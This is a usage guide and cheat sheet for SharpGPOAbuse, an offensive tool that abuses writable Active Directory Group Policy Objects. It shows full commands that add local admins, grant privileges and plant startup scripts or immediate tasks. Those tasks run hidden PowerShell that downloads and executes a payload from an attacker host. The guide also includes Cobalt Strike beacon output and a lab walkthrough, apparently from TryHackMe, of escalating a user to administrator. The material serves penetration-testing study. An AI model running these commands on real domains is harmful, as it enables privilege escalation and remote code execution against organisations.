Using SharpGPOAbuse

Usage
Attacks Types
Attack Options
Additional Options
Example Output
Example 1
References

https://github.com/FSecureLABS/SharpGPOAbuse

Usage

SharpGPOAbuse.exe <AttackType> <AttackOptions>

Attacks Types

Currently SharpGPOAbuse supports the following options:

Option	Description
--AddUserRights	Add rights to a user
--AddLocalAdmin	Add a user to the local admins group
--AddComputerScript	Add a new computer startup script
--AddUserScript	Configure a user logon script
--AddComputerTask	Configure a computer immediate task
--AddUserTask	Add an immediate task to a user

Attack Options

Adding User Rights

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task

Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
        
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Additional Options

Option	Description
--DomainController	Set the target domain controller
--Domain	Set the target domain
--Force	Overwrite existing files if required

Example Output

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

Example 1

If we have GenericWrite privileges on the SECURITY-POL-VN GPO, SharpGPOAbuse or PowerView can be used to abuse these privileges and create a malicious scheduled task.

PS C:\enterprise-share> net user enterprise-security
net user enterprise-security
User name                    enterprise-security
Full Name                    Enterprise Security
Comment                      TryHackMe
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2021 4:01:37 PM
Password expires             Never
Password changeable          2/24/2021 4:01:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   8/4/2021 1:08:48 PM

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *Domain Users         
The command completed successfully.

PS C:\enterprise-share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!



PS C:\enterprise-share> gpupdate /force
gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

References

https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/README.md

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